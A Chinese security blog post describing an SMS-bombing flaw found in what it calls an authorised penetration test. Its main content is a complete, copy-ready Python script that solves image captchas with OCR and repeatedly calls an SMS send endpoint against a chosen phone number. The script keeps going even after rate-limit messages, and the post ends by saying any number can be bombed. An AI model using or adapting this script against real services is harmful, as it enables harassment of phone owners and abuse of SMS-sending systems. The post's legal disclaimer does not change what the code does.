记一次短信轰炸漏洞 | 添柴不加火

声明

本次渗透测试已获得合法授权,本文仅用于网络安全技术学习与交流。严禁任何个人或组织将内容用于非法用途,由此产生的一切违法违规行为及后果,均与作者无关。

本文首发于微信公众号"希泽Sec"

前言

近期对多个漏洞进行了安全测试,仅该漏洞便于脱敏处理,特此先行记录。

整体思路

初始对目标系统进行访问,先排查未授权访问风险,过程中发现系统登录/注册页面。随后测试短信验证码接口是否存在轰炸漏洞,实测发现:成功发送一条验证码后,刷新当前页面即可绕过 60 秒发送间隔限制,可重复发起验证码请求。由此判断后端未做短信发送频率限制,该漏洞存在。

渗透测试

目标系统登录/注册页面如下:

刚开始用bp的验证码识别插件进行识别验证码,对同一个手机号多次请求,发现并不能成功发送验证码,多次测试发现好像是burp每次请求不能突破 60 秒发送的间隔限制。就想着用python脚本模拟人工请求,再根据此系统导入验证码识别模块,编写脚本。脚本如下:
点击查看代码

复制代码
import requests
import base64
import ddddocr
import time

# 初始化 OCR
ocr = ddddocr.DdddOcr(show_ad=False)
session = requests.Session()

# 配置信息
# ====================================================
CONFIG = {
    "target_mobile": "",  # 测试手机号
    "url_image": "",  # 图形验证码接口
    "url_send": "",   # 发送接口
    "delay": 1,  # 每次成功发送后的间隔时间(秒)
}

HEADERS = {

}
# ====================================================

def exploit():
    count = 0
    print(f"开始测试短信轰炸漏洞,目标:{CONFIG['target_mobile']}")

    while True:
        try:
            # 1. 获取图形验证码
            resp_img = session.get(CONFIG['url_image'], headers=HEADERS, timeout=10)
            img_json = resp_img.json()

            k = img_json['data']['key']
            b64 = img_json['data']['base64'].split(',')[-1]

            # 2. 识别验证码
            code = ocr.classification(base64.b64decode(b64))

            # 3. 尝试发送短信
            payload = {
                "form": {
                    "captchaKey": k,
                    "captchaCode": code,
                    "mobile": CONFIG['target_mobile']
                }
            }

            resp_send = session.post(CONFIG['url_send'], headers=HEADERS, json=payload, timeout=10)
            res_data = resp_send.json()

            msg = res_data.get("msg") or res_data.get("message") or ""

            # 4. 根据结果判断状态
            if "正确" in msg or "错误" in msg:
                # 验证码识别错误,不计数,立即重试
                continue

            count += 1
            print(f"[{count}] 状态: {res_data}")

            # 如果返回"发送成功",则继续下一轮;
            # 如果返回"操作频繁",说明存在服务端限流,漏洞可能不存在或已被拦截
            if "频繁" in msg or "上限" in msg:
                print("触发频率限制,测试停止或需更换策略。")
                # break # 如果想看到限流就停止,取消注释这行

            time.sleep(CONFIG['delay'])

        except KeyboardInterrupt:
            print("\n程序由用户停止。")
            break
        except Exception as e:
            print(f"发生异常: {e}")
            time.sleep(2)


if __name__ == "__main__":
    exploit()

接下来进行短信轰炸,配置好必要信息,运行脚本,发现可以对任意手机号进行轰炸。